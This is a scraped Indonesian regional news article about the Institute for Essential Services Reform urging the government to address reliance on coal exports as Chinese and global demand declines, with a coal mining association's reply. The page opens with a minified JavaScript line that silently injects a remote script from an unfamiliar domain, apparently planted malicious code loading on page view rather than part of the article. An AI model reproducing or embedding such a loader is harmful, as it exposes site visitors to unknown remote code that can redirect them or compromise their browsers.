(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Institute for Essential Services Reform (IESR) menyarakan pemerintah memperhatikan ketergantungan batubara sebagai komoditas perdagangan dan ekspor. Karena kebutuhan dunia akan komoditas tersebut diprediksi menurun akibat banyaknya negara yang akan mengurangi penggunaan batu bara.
Direktur Eksekutif IESR Fabby Tumiwa menjelaskan selama lima tahun terakhir batubara menjadi komoditas ekspor yang cukup banyak menghasilkan devisa. Ekspor batu bara dapat mengurangi defisit perdagangan, karena tingginya impor Bahan Bakar Minyak (BBM).
Selain itu, batu bara juga menyumbang pendapatan daerah di daerah yang memiliki tambang sebesar 15-30 persen. Dia mencontohkan kontribusi batubara di Provinsi Kalimantan Timur, Kalimantan Tengah, Kalimantan Selatan, dan Sumatera Selatan, yang mencapai 19-35 persen dari Produk domestik regional bruto (PDRB).
Indonesia juga sebagai salah satu negara pengekspor terbesar dan dominan. Salah satu negara tujuan ekspor batubara Indonesia adalah Tingkok. Tiongkok memenuhi 60 persen kebutuhan batubaranya dari Indonesia. Namun, sejak 2017 Tiongkok mulai menurunkan impor batu bara, sehingga memengaruhi harga batubara secara global.
“Cina menurunkan permintaan impor batubara, implikasinya harga turun, dan berdampak pada ekonomi Indonesia,” ujarnya, di Jakarta, Senin (1/2).
Dilansir Katadata.co.id, International Energy Agency (IEA) memperkirakan permintaan batubara di Tiongkok akan turun dari 2.753 juta ton di 2017 menjadi 2.673 juta ton di 2023. Sekitar separuh permintaan batubara ini adalah batu bara untuk pembangkit listrik (non coking coal). Volume batu bara konsumsi batu bara diperkirakan akan turun 13,4 persen dari total konsumsi dunia pada 2022-2023.
Selain itu, berdasarkan dokumen Basic Blueprint for Power Supply yang dirilis pemerintah Korea Selatan akhir tahun lalu, komposisi listrik dari batu bara akan turun dari 45,3 persen di 2017 menjadi 36,1 persen di 2030. IEA memperkirakan batubara di Indonesia bisa turun 15,7 persen pada 2023.
Indonesia juga turut berkomitmen untuk mencapai bauran energi terbarukan sebesar 23 persen pada 2025, yang telah disepakati dalam Paris Agreement. Implementasi kesepakatan ini akan menurunkan konsumsi batubara dalam negeri. Menurut Fabby, dunia internasional telah menekankan adanya perubahan ke energi energi terbarukan untuk menggantikan energi fosil. “Kami mendesak pemerintah untuk melakukan kajian mengenai transisi energi di masa depan industri batu bara,” kata dia.
Direktur Eksekutif Asosiasi Pertambangan Batubara Indonesia (APBI) Hendra Sinadia mengatakan pihaknya telah responsif memperhatikan perkembangan perubahan iklim dunia. Pelaku usaha juga sudah mulai mempelajari teknologi penambahan nilai atau hilirisasi batu bara. Apalagi saat ini pemerintah tengah mempersiapkan regulasi hilirisasi batu bara. “20 tahun kedepan energi terbarukan lebih kompetitif tapi didorongnya nilai tambang ini jadi pasar baru,” ujarnya. (far/ktd)
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.